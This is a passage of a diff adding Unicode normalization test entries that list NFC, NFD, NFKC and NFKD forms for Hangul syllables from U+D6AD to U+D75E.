+{ source: [0xD6AD], NFC: [0xD6AD], NFD: [0x1112, 0x116D, 0x11AC], NFKC: [0xD6AD], NFKD: [0x1112, 0x116D, 0x11AC] },
+{ source: [0xD6AE], NFC: [0xD6AE], NFD: [0x1112, 0x116D, 0x11AD], NFKC: [0xD6AE], NFKD: [0x1112, 0x116D, 0x11AD] },
+{ source: [0xD6AF], NFC: [0xD6AF], NFD: [0x1112, 0x116D, 0x11AE], NFKC: [0xD6AF], NFKD: [0x1112, 0x116D, 0x11AE] },
+{ source: [0xD6B0], NFC: [0xD6B0], NFD: [0x1112, 0x116D, 0x11AF], NFKC: [0xD6B0], NFKD: [0x1112, 0x116D, 0x11AF] },
+{ source: [0xD6B1], NFC: [0xD6B1], NFD: [0x1112, 0x116D, 0x11B0], NFKC: [0xD6B1], NFKD: [0x1112, 0x116D, 0x11B0] },
+{ source: [0xD6B2], NFC: [0xD6B2], NFD: [0x1112, 0x116D, 0x11B1], NFKC: [0xD6B2], NFKD: [0x1112, 0x116D, 0x11B1] },
+{ source: [0xD6B3], NFC: [0xD6B3], NFD: [0x1112, 0x116D, 0x11B2], NFKC: [0xD6B3], NFKD: [0x1112, 0x116D, 0x11B2] },
+{ source: [0xD6B4], NFC: [0xD6B4], NFD: [0x1112, 0x116D, 0x11B3], NFKC: [0xD6B4], NFKD: [0x1112, 0x116D, 0x11B3] },
+{ source: [0xD6B5], NFC: [0xD6B5], NFD: [0x1112, 0x116D, 0x11B4], NFKC: [0xD6B5], NFKD: [0x1112, 0x116D, 0x11B4] },
+{ source: [0xD6B6], NFC: [0xD6B6], NFD: [0x1112, 0x116D, 0x11B5], NFKC: [0xD6B6], NFKD: [0x1112, 0x116D, 0x11B5] },
+{ source: [0xD6B7], NFC: [0xD6B7], NFD: [0x1112, 0x116D, 0x11B6], NFKC: [0xD6B7], NFKD: [0x1112, 0x116D, 0x11B6] },
+{ source: [0xD6B8], NFC: [0xD6B8], NFD: [0x1112, 0x116D, 0x11B7], NFKC: [0xD6B8], NFKD: [0x1112, 0x116D, 0x11B7] },
+{ source: [0xD6B9], NFC: [0xD6B9], NFD: [0x1112, 0x116D, 0x11B8], NFKC: [0xD6B9], NFKD: [0x1112, 0x116D, 0x11B8] },
+{ source: [0xD6BA], NFC: [0xD6BA], NFD: [0x1112, 0x116D, 0x11B9], NFKC: [0xD6BA], NFKD: [0x1112, 0x116D, 0x11B9] },
+{ source: [0xD6BB], NFC: [0xD6BB], NFD: [0x1112, 0x116D, 0x11BA], NFKC: [0xD6BB], NFKD: [0x1112, 0x116D, 0x11BA] },
+{ source: [0xD6BC], NFC: [0xD6BC], NFD: [0x1112, 0x116D, 0x11BB], NFKC: [0xD6BC], NFKD: [0x1112, 0x116D, 0x11BB] },
+{ source: [0xD6BD], NFC: [0xD6BD], NFD: [0x1112, 0x116D, 0x11BC], NFKC: [0xD6BD], NFKD: [0x1112, 0x116D, 0x11BC] },
+{ source: [0xD6BE], NFC: [0xD6BE], NFD: [0x1112, 0x116D, 0x11BD], NFKC: [0xD6BE], NFKD: [0x1112, 0x116D, 0x11BD] },
+{ source: [0xD6BF], NFC: [0xD6BF], NFD: [0x1112, 0x116D, 0x11BE], NFKC: [0xD6BF], NFKD: [0x1112, 0x116D, 0x11BE] },
+{ source: [0xD6C0], NFC: [0xD6C0], NFD: [0x1112, 0x116D, 0x11BF], NFKC: [0xD6C0], NFKD: [0x1112, 0x116D, 0x11BF] },
+{ source: [0xD6C1], NFC: [0xD6C1], NFD: [0x1112, 0x116D, 0x11C0], NFKC: [0xD6C1], NFKD: [0x1112, 0x116D, 0x11C0] },
+{ source: [0xD6C2], NFC: [0xD6C2], NFD: [0x1112, 0x116D, 0x11C1], NFKC: [0xD6C2], NFKD: [0x1112, 0x116D, 0x11C1] },
+{ source: [0xD6C3], NFC: [0xD6C3], NFD: [0x1112, 0x116D, 0x11C2], NFKC: [0xD6C3], NFKD: [0x1112, 0x116D, 0x11C2] },
+{ source: [0xD6C4], NFC: [0xD6C4], NFD: [0x1112, 0x116E], NFKC: [0xD6C4], NFKD: [0x1112, 0x116E] },
+{ source: [0xD6C5], NFC: [0xD6C5], NFD: [0x1112, 0x116E, 0x11A8], NFKC: [0xD6C5], NFKD: [0x1112, 0x116E, 0x11A8] },
+{ source: [0xD6C6], NFC: [0xD6C6], NFD: [0x1112, 0x116E, 0x11A9], NFKC: [0xD6C6], NFKD: [0x1112, 0x116E, 0x11A9] },
+{ source: [0xD6C7], NFC: [0xD6C7], NFD: [0x1112, 0x116E, 0x11AA], NFKC: [0xD6C7], NFKD: [0x1112, 0x116E, 0x11AA] },
+{ source: [0xD6C8], NFC: [0xD6C8], NFD: [0x1112, 0x116E, 0x11AB], NFKC: [0xD6C8], NFKD: [0x1112, 0x116E, 0x11AB] },
+{ source: [0xD6C9], NFC: [0xD6C9], NFD: [0x1112, 0x116E, 0x11AC], NFKC: [0xD6C9], NFKD: [0x1112, 0x116E, 0x11AC] },
+{ source: [0xD6CA], NFC: [0xD6CA], NFD: [0x1112, 0x116E, 0x11AD], NFKC: [0xD6CA], NFKD: [0x1112, 0x116E, 0x11AD] },
+{ source: [0xD6CB], NFC: [0xD6CB], NFD: [0x1112, 0x116E, 0x11AE], NFKC: [0xD6CB], NFKD: [0x1112, 0x116E, 0x11AE] },
+{ source: [0xD6CC], NFC: [0xD6CC], NFD: [0x1112, 0x116E, 0x11AF], NFKC: [0xD6CC], NFKD: [0x1112, 0x116E, 0x11AF] },
+{ source: [0xD6CD], NFC: [0xD6CD], NFD: [0x1112, 0x116E, 0x11B0], NFKC: [0xD6CD], NFKD: [0x1112, 0x116E, 0x11B0] },
+{ source: [0xD6CE], NFC: [0xD6CE], NFD: [0x1112, 0x116E, 0x11B1], NFKC: [0xD6CE], NFKD: [0x1112, 0x116E, 0x11B1] },
+{ source: [0xD6CF], NFC: [0xD6CF], NFD: [0x1112, 0x116E, 0x11B2], NFKC: [0xD6CF], NFKD: [0x1112, 0x116E, 0x11B2] },
+{ source: [0xD6D0], NFC: [0xD6D0], NFD: [0x1112, 0x116E, 0x11B3], NFKC: [0xD6D0], NFKD: [0x1112, 0x116E, 0x11B3] },
+{ source: [0xD6D1], NFC: [0xD6D1], NFD: [0x1112, 0x116E, 0x11B4], NFKC: [0xD6D1], NFKD: [0x1112, 0x116E, 0x11B4] },
+{ source: [0xD6D2], NFC: [0xD6D2], NFD: [0x1112, 0x116E, 0x11B5], NFKC: [0xD6D2], NFKD: [0x1112, 0x116E, 0x11B5] },
+{ source: [0xD6D3], NFC: [0xD6D3], NFD: [0x1112, 0x116E, 0x11B6], NFKC: [0xD6D3], NFKD: [0x1112, 0x116E, 0x11B6] },
+{ source: [0xD6D4], NFC: [0xD6D4], NFD: [0x1112, 0x116E, 0x11B7], NFKC: [0xD6D4], NFKD: [0x1112, 0x116E, 0x11B7] },
+{ source: [0xD6D5], NFC: [0xD6D5], NFD: [0x1112, 0x116E, 0x11B8], NFKC: [0xD6D5], NFKD: [0x1112, 0x116E, 0x11B8] },
+{ source: [0xD6D6], NFC: [0xD6D6], NFD: [0x1112, 0x116E, 0x11B9], NFKC: [0xD6D6], NFKD: [0x1112, 0x116E, 0x11B9] },
+{ source: [0xD6D7], NFC: [0xD6D7], NFD: [0x1112, 0x116E, 0x11BA], NFKC: [0xD6D7], NFKD: [0x1112, 0x116E, 0x11BA] },
+{ source: [0xD6D8], NFC: [0xD6D8], NFD: [0x1112, 0x116E, 0x11BB], NFKC: [0xD6D8], NFKD: [0x1112, 0x116E, 0x11BB] },
+{ source: [0xD6D9], NFC: [0xD6D9], NFD: [0x1112, 0x116E, 0x11BC], NFKC: [0xD6D9], NFKD: [0x1112, 0x116E, 0x11BC] },
+{ source: [0xD6DA], NFC: [0xD6DA], NFD: [0x1112, 0x116E, 0x11BD], NFKC: [0xD6DA], NFKD: [0x1112, 0x116E, 0x11BD] },
+{ source: [0xD6DB], NFC: [0xD6DB], NFD: [0x1112, 0x116E, 0x11BE], NFKC: [0xD6DB], NFKD: [0x1112, 0x116E, 0x11BE] },
+{ source: [0xD6DC], NFC: [0xD6DC], NFD: [0x1112, 0x116E, 0x11BF], NFKC: [0xD6DC], NFKD: [0x1112, 0x116E, 0x11BF] },
+{ source: [0xD6DD], NFC: [0xD6DD], NFD: [0x1112, 0x116E, 0x11C0], NFKC: [0xD6DD], NFKD: [0x1112, 0x116E, 0x11C0] },
+{ source: [0xD6DE], NFC: [0xD6DE], NFD: [0x1112, 0x116E, 0x11C1], NFKC: [0xD6DE], NFKD: [0x1112, 0x116E, 0x11C1] },
+{ source: [0xD6DF], NFC: [0xD6DF], NFD: [0x1112, 0x116E, 0x11C2], NFKC: [0xD6DF], NFKD: [0x1112, 0x116E, 0x11C2] },
+{ source: [0xD6E0], NFC: [0xD6E0], NFD: [0x1112, 0x116F], NFKC: [0xD6E0], NFKD: [0x1112, 0x116F] },
+{ source: [0xD6E1], NFC: [0xD6E1], NFD: [0x1112, 0x116F, 0x11A8], NFKC: [0xD6E1], NFKD: [0x1112, 0x116F, 0x11A8] },
+{ source: [0xD6E2], NFC: [0xD6E2], NFD: [0x1112, 0x116F, 0x11A9], NFKC: [0xD6E2], NFKD: [0x1112, 0x116F, 0x11A9] },
+{ source: [0xD6E3], NFC: [0xD6E3], NFD: [0x1112, 0x116F, 0x11AA], NFKC: [0xD6E3], NFKD: [0x1112, 0x116F, 0x11AA] },
+{ source: [0xD6E4], NFC: [0xD6E4], NFD: [0x1112, 0x116F, 0x11AB], NFKC: [0xD6E4], NFKD: [0x1112, 0x116F, 0x11AB] },
+{ source: [0xD6E5], NFC: [0xD6E5], NFD: [0x1112, 0x116F, 0x11AC], NFKC: [0xD6E5], NFKD: [0x1112, 0x116F, 0x11AC] },
+{ source: [0xD6E6], NFC: [0xD6E6], NFD: [0x1112, 0x116F, 0x11AD], NFKC: [0xD6E6], NFKD: [0x1112, 0x116F, 0x11AD] },
+{ source: [0xD6E7], NFC: [0xD6E7], NFD: [0x1112, 0x116F, 0x11AE], NFKC: [0xD6E7], NFKD: [0x1112, 0x116F, 0x11AE] },
+{ source: [0xD6E8], NFC: [0xD6E8], NFD: [0x1112, 0x116F, 0x11AF], NFKC: [0xD6E8], NFKD: [0x1112, 0x116F, 0x11AF] },
+{ source: [0xD6E9], NFC: [0xD6E9], NFD: [0x1112, 0x116F, 0x11B0], NFKC: [0xD6E9], NFKD: [0x1112, 0x116F, 0x11B0] },
+{ source: [0xD6EA], NFC: [0xD6EA], NFD: [0x1112, 0x116F, 0x11B1], NFKC: [0xD6EA], NFKD: [0x1112, 0x116F, 0x11B1] },
+{ source: [0xD6EB], NFC: [0xD6EB], NFD: [0x1112, 0x116F, 0x11B2], NFKC: [0xD6EB], NFKD: [0x1112, 0x116F, 0x11B2] },
+{ source: [0xD6EC], NFC: [0xD6EC], NFD: [0x1112, 0x116F, 0x11B3], NFKC: [0xD6EC], NFKD: [0x1112, 0x116F, 0x11B3] },
+{ source: [0xD6ED], NFC: [0xD6ED], NFD: [0x1112, 0x116F, 0x11B4], NFKC: [0xD6ED], NFKD: [0x1112, 0x116F, 0x11B4] },
+{ source: [0xD6EE], NFC: [0xD6EE], NFD: [0x1112, 0x116F, 0x11B5], NFKC: [0xD6EE], NFKD: [0x1112, 0x116F, 0x11B5] },
+{ source: [0xD6EF], NFC: [0xD6EF], NFD: [0x1112, 0x116F, 0x11B6], NFKC: [0xD6EF], NFKD: [0x1112, 0x116F, 0x11B6] },
+{ source: [0xD6F0], NFC: [0xD6F0], NFD: [0x1112, 0x116F, 0x11B7], NFKC: [0xD6F0], NFKD: [0x1112, 0x116F, 0x11B7] },
+{ source: [0xD6F1], NFC: [0xD6F1], NFD: [0x1112, 0x116F, 0x11B8], NFKC: [0xD6F1], NFKD: [0x1112, 0x116F, 0x11B8] },
+{ source: [0xD6F2], NFC: [0xD6F2], NFD: [0x1112, 0x116F, 0x11B9], NFKC: [0xD6F2], NFKD: [0x1112, 0x116F, 0x11B9] },
+{ source: [0xD6F3], NFC: [0xD6F3], NFD: [0x1112, 0x116F, 0x11BA], NFKC: [0xD6F3], NFKD: [0x1112, 0x116F, 0x11BA] },
+{ source: [0xD6F4], NFC: [0xD6F4], NFD: [0x1112, 0x116F, 0x11BB], NFKC: [0xD6F4], NFKD: [0x1112, 0x116F, 0x11BB] },
+{ source: [0xD6F5], NFC: [0xD6F5], NFD: [0x1112, 0x116F, 0x11BC], NFKC: [0xD6F5], NFKD: [0x1112, 0x116F, 0x11BC] },
+{ source: [0xD6F6], NFC: [0xD6F6], NFD: [0x1112, 0x116F, 0x11BD], NFKC: [0xD6F6], NFKD: [0x1112, 0x116F, 0x11BD] },
+{ source: [0xD6F7], NFC: [0xD6F7], NFD: [0x1112, 0x116F, 0x11BE], NFKC: [0xD6F7], NFKD: [0x1112, 0x116F, 0x11BE] },
+{ source: [0xD6F8], NFC: [0xD6F8], NFD: [0x1112, 0x116F, 0x11BF], NFKC: [0xD6F8], NFKD: [0x1112, 0x116F, 0x11BF] },
+{ source: [0xD6F9], NFC: [0xD6F9], NFD: [0x1112, 0x116F, 0x11C0], NFKC: [0xD6F9], NFKD: [0x1112, 0x116F, 0x11C0] },
+{ source: [0xD6FA], NFC: [0xD6FA], NFD: [0x1112, 0x116F, 0x11C1], NFKC: [0xD6FA], NFKD: [0x1112, 0x116F, 0x11C1] },
+{ source: [0xD6FB], NFC: [0xD6FB], NFD: [0x1112, 0x116F, 0x11C2], NFKC: [0xD6FB], NFKD: [0x1112, 0x116F, 0x11C2] },
+{ source: [0xD6FC], NFC: [0xD6FC], NFD: [0x1112, 0x1170], NFKC: [0xD6FC], NFKD: [0x1112, 0x1170] },
+{ source: [0xD6FD], NFC: [0xD6FD], NFD: [0x1112, 0x1170, 0x11A8], NFKC: [0xD6FD], NFKD: [0x1112, 0x1170, 0x11A8] },
+{ source: [0xD6FE], NFC: [0xD6FE], NFD: [0x1112, 0x1170, 0x11A9], NFKC: [0xD6FE], NFKD: [0x1112, 0x1170, 0x11A9] },
+{ source: [0xD6FF], NFC: [0xD6FF], NFD: [0x1112, 0x1170, 0x11AA], NFKC: [0xD6FF], NFKD: [0x1112, 0x1170, 0x11AA] },
+{ source: [0xD700], NFC: [0xD700], NFD: [0x1112, 0x1170, 0x11AB], NFKC: [0xD700], NFKD: [0x1112, 0x1170, 0x11AB] },
+{ source: [0xD701], NFC: [0xD701], NFD: [0x1112, 0x1170, 0x11AC], NFKC: [0xD701], NFKD: [0x1112, 0x1170, 0x11AC] },
+{ source: [0xD702], NFC: [0xD702], NFD: [0x1112, 0x1170, 0x11AD], NFKC: [0xD702], NFKD: [0x1112, 0x1170, 0x11AD] },
+{ source: [0xD703], NFC: [0xD703], NFD: [0x1112, 0x1170, 0x11AE], NFKC: [0xD703], NFKD: [0x1112, 0x1170, 0x11AE] },
+{ source: [0xD704], NFC: [0xD704], NFD: [0x1112, 0x1170, 0x11AF], NFKC: [0xD704], NFKD: [0x1112, 0x1170, 0x11AF] },
+{ source: [0xD705], NFC: [0xD705], NFD: [0x1112, 0x1170, 0x11B0], NFKC: [0xD705], NFKD: [0x1112, 0x1170, 0x11B0] },
+{ source: [0xD706], NFC: [0xD706], NFD: [0x1112, 0x1170, 0x11B1], NFKC: [0xD706], NFKD: [0x1112, 0x1170, 0x11B1] },
+{ source: [0xD707], NFC: [0xD707], NFD: [0x1112, 0x1170, 0x11B2], NFKC: [0xD707], NFKD: [0x1112, 0x1170, 0x11B2] },
+{ source: [0xD708], NFC: [0xD708], NFD: [0x1112, 0x1170, 0x11B3], NFKC: [0xD708], NFKD: [0x1112, 0x1170, 0x11B3] },
+{ source: [0xD709], NFC: [0xD709], NFD: [0x1112, 0x1170, 0x11B4], NFKC: [0xD709], NFKD: [0x1112, 0x1170, 0x11B4] },
+{ source: [0xD70A], NFC: [0xD70A], NFD: [0x1112, 0x1170, 0x11B5], NFKC: [0xD70A], NFKD: [0x1112, 0x1170, 0x11B5] },
+{ source: [0xD70B], NFC: [0xD70B], NFD: [0x1112, 0x1170, 0x11B6], NFKC: [0xD70B], NFKD: [0x1112, 0x1170, 0x11B6] },
+{ source: [0xD70C], NFC: [0xD70C], NFD: [0x1112, 0x1170, 0x11B7], NFKC: [0xD70C], NFKD: [0x1112, 0x1170, 0x11B7] },
+{ source: [0xD70D], NFC: [0xD70D], NFD: [0x1112, 0x1170, 0x11B8], NFKC: [0xD70D], NFKD: [0x1112, 0x1170, 0x11B8] },
+{ source: [0xD70E], NFC: [0xD70E], NFD: [0x1112, 0x1170, 0x11B9], NFKC: [0xD70E], NFKD: [0x1112, 0x1170, 0x11B9] },
+{ source: [0xD70F], NFC: [0xD70F], NFD: [0x1112, 0x1170, 0x11BA], NFKC: [0xD70F], NFKD: [0x1112, 0x1170, 0x11BA] },
+{ source: [0xD710], NFC: [0xD710], NFD: [0x1112, 0x1170, 0x11BB], NFKC: [0xD710], NFKD: [0x1112, 0x1170, 0x11BB] },
+{ source: [0xD711], NFC: [0xD711], NFD: [0x1112, 0x1170, 0x11BC], NFKC: [0xD711], NFKD: [0x1112, 0x1170, 0x11BC] },
+{ source: [0xD712], NFC: [0xD712], NFD: [0x1112, 0x1170, 0x11BD], NFKC: [0xD712], NFKD: [0x1112, 0x1170, 0x11BD] },
+{ source: [0xD713], NFC: [0xD713], NFD: [0x1112, 0x1170, 0x11BE], NFKC: [0xD713], NFKD: [0x1112, 0x1170, 0x11BE] },
+{ source: [0xD714], NFC: [0xD714], NFD: [0x1112, 0x1170, 0x11BF], NFKC: [0xD714], NFKD: [0x1112, 0x1170, 0x11BF] },
+{ source: [0xD715], NFC: [0xD715], NFD: [0x1112, 0x1170, 0x11C0], NFKC: [0xD715], NFKD: [0x1112, 0x1170, 0x11C0] },
+{ source: [0xD716], NFC: [0xD716], NFD: [0x1112, 0x1170, 0x11C1], NFKC: [0xD716], NFKD: [0x1112, 0x1170, 0x11C1] },
+{ source: [0xD717], NFC: [0xD717], NFD: [0x1112, 0x1170, 0x11C2], NFKC: [0xD717], NFKD: [0x1112, 0x1170, 0x11C2] },
+{ source: [0xD718], NFC: [0xD718], NFD: [0x1112, 0x1171], NFKC: [0xD718], NFKD: [0x1112, 0x1171] },
+{ source: [0xD719], NFC: [0xD719], NFD: [0x1112, 0x1171, 0x11A8], NFKC: [0xD719], NFKD: [0x1112, 0x1171, 0x11A8] },
+{ source: [0xD71A], NFC: [0xD71A], NFD: [0x1112, 0x1171, 0x11A9], NFKC: [0xD71A], NFKD: [0x1112, 0x1171, 0x11A9] },
+{ source: [0xD71B], NFC: [0xD71B], NFD: [0x1112, 0x1171, 0x11AA], NFKC: [0xD71B], NFKD: [0x1112, 0x1171, 0x11AA] },
+{ source: [0xD71C], NFC: [0xD71C], NFD: [0x1112, 0x1171, 0x11AB], NFKC: [0xD71C], NFKD: [0x1112, 0x1171, 0x11AB] },
+{ source: [0xD71D], NFC: [0xD71D], NFD: [0x1112, 0x1171, 0x11AC], NFKC: [0xD71D], NFKD: [0x1112, 0x1171, 0x11AC] },
+{ source: [0xD71E], NFC: [0xD71E], NFD: [0x1112, 0x1171, 0x11AD], NFKC: [0xD71E], NFKD: [0x1112, 0x1171, 0x11AD] },
+{ source: [0xD71F], NFC: [0xD71F], NFD: [0x1112, 0x1171, 0x11AE], NFKC: [0xD71F], NFKD: [0x1112, 0x1171, 0x11AE] },
+{ source: [0xD720], NFC: [0xD720], NFD: [0x1112, 0x1171, 0x11AF], NFKC: [0xD720], NFKD: [0x1112, 0x1171, 0x11AF] },
+{ source: [0xD721], NFC: [0xD721], NFD: [0x1112, 0x1171, 0x11B0], NFKC: [0xD721], NFKD: [0x1112, 0x1171, 0x11B0] },
+{ source: [0xD722], NFC: [0xD722], NFD: [0x1112, 0x1171, 0x11B1], NFKC: [0xD722], NFKD: [0x1112, 0x1171, 0x11B1] },
+{ source: [0xD723], NFC: [0xD723], NFD: [0x1112, 0x1171, 0x11B2], NFKC: [0xD723], NFKD: [0x1112, 0x1171, 0x11B2] },
+{ source: [0xD724], NFC: [0xD724], NFD: [0x1112, 0x1171, 0x11B3], NFKC: [0xD724], NFKD: [0x1112, 0x1171, 0x11B3] },
+{ source: [0xD725], NFC: [0xD725], NFD: [0x1112, 0x1171, 0x11B4], NFKC: [0xD725], NFKD: [0x1112, 0x1171, 0x11B4] },
+{ source: [0xD726], NFC: [0xD726], NFD: [0x1112, 0x1171, 0x11B5], NFKC: [0xD726], NFKD: [0x1112, 0x1171, 0x11B5] },
+{ source: [0xD727], NFC: [0xD727], NFD: [0x1112, 0x1171, 0x11B6], NFKC: [0xD727], NFKD: [0x1112, 0x1171, 0x11B6] },
+{ source: [0xD728], NFC: [0xD728], NFD: [0x1112, 0x1171, 0x11B7], NFKC: [0xD728], NFKD: [0x1112, 0x1171, 0x11B7] },
+{ source: [0xD729], NFC: [0xD729], NFD: [0x1112, 0x1171, 0x11B8], NFKC: [0xD729], NFKD: [0x1112, 0x1171, 0x11B8] },
+{ source: [0xD72A], NFC: [0xD72A], NFD: [0x1112, 0x1171, 0x11B9], NFKC: [0xD72A], NFKD: [0x1112, 0x1171, 0x11B9] },
+{ source: [0xD72B], NFC: [0xD72B], NFD: [0x1112, 0x1171, 0x11BA], NFKC: [0xD72B], NFKD: [0x1112, 0x1171, 0x11BA] },
+{ source: [0xD72C], NFC: [0xD72C], NFD: [0x1112, 0x1171, 0x11BB], NFKC: [0xD72C], NFKD: [0x1112, 0x1171, 0x11BB] },
+{ source: [0xD72D], NFC: [0xD72D], NFD: [0x1112, 0x1171, 0x11BC], NFKC: [0xD72D], NFKD: [0x1112, 0x1171, 0x11BC] },
+{ source: [0xD72E], NFC: [0xD72E], NFD: [0x1112, 0x1171, 0x11BD], NFKC: [0xD72E], NFKD: [0x1112, 0x1171, 0x11BD] },
+{ source: [0xD72F], NFC: [0xD72F], NFD: [0x1112, 0x1171, 0x11BE], NFKC: [0xD72F], NFKD: [0x1112, 0x1171, 0x11BE] },
+{ source: [0xD730], NFC: [0xD730], NFD: [0x1112, 0x1171, 0x11BF], NFKC: [0xD730], NFKD: [0x1112, 0x1171, 0x11BF] },
+{ source: [0xD731], NFC: [0xD731], NFD: [0x1112, 0x1171, 0x11C0], NFKC: [0xD731], NFKD: [0x1112, 0x1171, 0x11C0] },
+{ source: [0xD732], NFC: [0xD732], NFD: [0x1112, 0x1171, 0x11C1], NFKC: [0xD732], NFKD: [0x1112, 0x1171, 0x11C1] },
+{ source: [0xD733], NFC: [0xD733], NFD: [0x1112, 0x1171, 0x11C2], NFKC: [0xD733], NFKD: [0x1112, 0x1171, 0x11C2] },
+{ source: [0xD734], NFC: [0xD734], NFD: [0x1112, 0x1172], NFKC: [0xD734], NFKD: [0x1112, 0x1172] },
+{ source: [0xD735], NFC: [0xD735], NFD: [0x1112, 0x1172, 0x11A8], NFKC: [0xD735], NFKD: [0x1112, 0x1172, 0x11A8] },
+{ source: [0xD736], NFC: [0xD736], NFD: [0x1112, 0x1172, 0x11A9], NFKC: [0xD736], NFKD: [0x1112, 0x1172, 0x11A9] },
+{ source: [0xD737], NFC: [0xD737], NFD: [0x1112, 0x1172, 0x11AA], NFKC: [0xD737], NFKD: [0x1112, 0x1172, 0x11AA] },
+{ source: [0xD738], NFC: [0xD738], NFD: [0x1112, 0x1172, 0x11AB], NFKC: [0xD738], NFKD: [0x1112, 0x1172, 0x11AB] },
+{ source: [0xD739], NFC: [0xD739], NFD: [0x1112, 0x1172, 0x11AC], NFKC: [0xD739], NFKD: [0x1112, 0x1172, 0x11AC] },
+{ source: [0xD73A], NFC: [0xD73A], NFD: [0x1112, 0x1172, 0x11AD], NFKC: [0xD73A], NFKD: [0x1112, 0x1172, 0x11AD] },
+{ source: [0xD73B], NFC: [0xD73B], NFD: [0x1112, 0x1172, 0x11AE], NFKC: [0xD73B], NFKD: [0x1112, 0x1172, 0x11AE] },
+{ source: [0xD73C], NFC: [0xD73C], NFD: [0x1112, 0x1172, 0x11AF], NFKC: [0xD73C], NFKD: [0x1112, 0x1172, 0x11AF] },
+{ source: [0xD73D], NFC: [0xD73D], NFD: [0x1112, 0x1172, 0x11B0], NFKC: [0xD73D], NFKD: [0x1112, 0x1172, 0x11B0] },
+{ source: [0xD73E], NFC: [0xD73E], NFD: [0x1112, 0x1172, 0x11B1], NFKC: [0xD73E], NFKD: [0x1112, 0x1172, 0x11B1] },
+{ source: [0xD73F], NFC: [0xD73F], NFD: [0x1112, 0x1172, 0x11B2], NFKC: [0xD73F], NFKD: [0x1112, 0x1172, 0x11B2] },
+{ source: [0xD740], NFC: [0xD740], NFD: [0x1112, 0x1172, 0x11B3], NFKC: [0xD740], NFKD: [0x1112, 0x1172, 0x11B3] },
+{ source: [0xD741], NFC: [0xD741], NFD: [0x1112, 0x1172, 0x11B4], NFKC: [0xD741], NFKD: [0x1112, 0x1172, 0x11B4] },
+{ source: [0xD742], NFC: [0xD742], NFD: [0x1112, 0x1172, 0x11B5], NFKC: [0xD742], NFKD: [0x1112, 0x1172, 0x11B5] },
+{ source: [0xD743], NFC: [0xD743], NFD: [0x1112, 0x1172, 0x11B6], NFKC: [0xD743], NFKD: [0x1112, 0x1172, 0x11B6] },
+{ source: [0xD744], NFC: [0xD744], NFD: [0x1112, 0x1172, 0x11B7], NFKC: [0xD744], NFKD: [0x1112, 0x1172, 0x11B7] },
+{ source: [0xD745], NFC: [0xD745], NFD: [0x1112, 0x1172, 0x11B8], NFKC: [0xD745], NFKD: [0x1112, 0x1172, 0x11B8] },
+{ source: [0xD746], NFC: [0xD746], NFD: [0x1112, 0x1172, 0x11B9], NFKC: [0xD746], NFKD: [0x1112, 0x1172, 0x11B9] },
+{ source: [0xD747], NFC: [0xD747], NFD: [0x1112, 0x1172, 0x11BA], NFKC: [0xD747], NFKD: [0x1112, 0x1172, 0x11BA] },
+{ source: [0xD748], NFC: [0xD748], NFD: [0x1112, 0x1172, 0x11BB], NFKC: [0xD748], NFKD: [0x1112, 0x1172, 0x11BB] },
+{ source: [0xD749], NFC: [0xD749], NFD: [0x1112, 0x1172, 0x11BC], NFKC: [0xD749], NFKD: [0x1112, 0x1172, 0x11BC] },
+{ source: [0xD74A], NFC: [0xD74A], NFD: [0x1112, 0x1172, 0x11BD], NFKC: [0xD74A], NFKD: [0x1112, 0x1172, 0x11BD] },
+{ source: [0xD74B], NFC: [0xD74B], NFD: [0x1112, 0x1172, 0x11BE], NFKC: [0xD74B], NFKD: [0x1112, 0x1172, 0x11BE] },
+{ source: [0xD74C], NFC: [0xD74C], NFD: [0x1112, 0x1172, 0x11BF], NFKC: [0xD74C], NFKD: [0x1112, 0x1172, 0x11BF] },
+{ source: [0xD74D], NFC: [0xD74D], NFD: [0x1112, 0x1172, 0x11C0], NFKC: [0xD74D], NFKD: [0x1112, 0x1172, 0x11C0] },
+{ source: [0xD74E], NFC: [0xD74E], NFD: [0x1112, 0x1172, 0x11C1], NFKC: [0xD74E], NFKD: [0x1112, 0x1172, 0x11C1] },
+{ source: [0xD74F], NFC: [0xD74F], NFD: [0x1112, 0x1172, 0x11C2], NFKC: [0xD74F], NFKD: [0x1112, 0x1172, 0x11C2] },
+{ source: [0xD750], NFC: [0xD750], NFD: [0x1112, 0x1173], NFKC: [0xD750], NFKD: [0x1112, 0x1173] },
+{ source: [0xD751], NFC: [0xD751], NFD: [0x1112, 0x1173, 0x11A8], NFKC: [0xD751], NFKD: [0x1112, 0x1173, 0x11A8] },
+{ source: [0xD752], NFC: [0xD752], NFD: [0x1112, 0x1173, 0x11A9], NFKC: [0xD752], NFKD: [0x1112, 0x1173, 0x11A9] },
+{ source: [0xD753], NFC: [0xD753], NFD: [0x1112, 0x1173, 0x11AA], NFKC: [0xD753], NFKD: [0x1112, 0x1173, 0x11AA] },
+{ source: [0xD754], NFC: [0xD754], NFD: [0x1112, 0x1173, 0x11AB], NFKC: [0xD754], NFKD: [0x1112, 0x1173, 0x11AB] },
+{ source: [0xD755], NFC: [0xD755], NFD: [0x1112, 0x1173, 0x11AC], NFKC: [0xD755], NFKD: [0x1112, 0x1173, 0x11AC] },
+{ source: [0xD756], NFC: [0xD756], NFD: [0x1112, 0x1173, 0x11AD], NFKC: [0xD756], NFKD: [0x1112, 0x1173, 0x11AD] },
+{ source: [0xD757], NFC: [0xD757], NFD: [0x1112, 0x1173, 0x11AE], NFKC: [0xD757], NFKD: [0x1112, 0x1173, 0x11AE] },
+{ source: [0xD758], NFC: [0xD758], NFD: [0x1112, 0x1173, 0x11AF], NFKC: [0xD758], NFKD: [0x1112, 0x1173, 0x11AF] },
+{ source: [0xD759], NFC: [0xD759], NFD: [0x1112, 0x1173, 0x11B0], NFKC: [0xD759], NFKD: [0x1112, 0x1173, 0x11B0] },
+{ source: [0xD75A], NFC: [0xD75A], NFD: [0x1112, 0x1173, 0x11B1], NFKC: [0xD75A], NFKD: [0x1112, 0x1173, 0x11B1] },
+{ source: [0xD75B], NFC: [0xD75B], NFD: [0x1112, 0x1173, 0x11B2], NFKC: [0xD75B], NFKD: [0x1112, 0x1173, 0x11B2] },
+{ source: [0xD75C], NFC: [0xD75C], NFD: [0x1112, 0x1173, 0x11B3], NFKC: [0xD75C], NFKD: [0x1112, 0x1173, 0x11B3] },
+{ source: [0xD75D], NFC: [0xD75D], NFD: [0x1112, 0x1173, 0x11B4], NFKC: [0xD75D], NFKD: [0x1112, 0x1173, 0x11B4] },
+{ source: [0xD75E], NFC: [0xD75E], NFD: [0x1112, 0x1173, 0x11B5], NFKC: [0xD75E], NFKD: [0x1112, 0x1173, 0x11B5] },
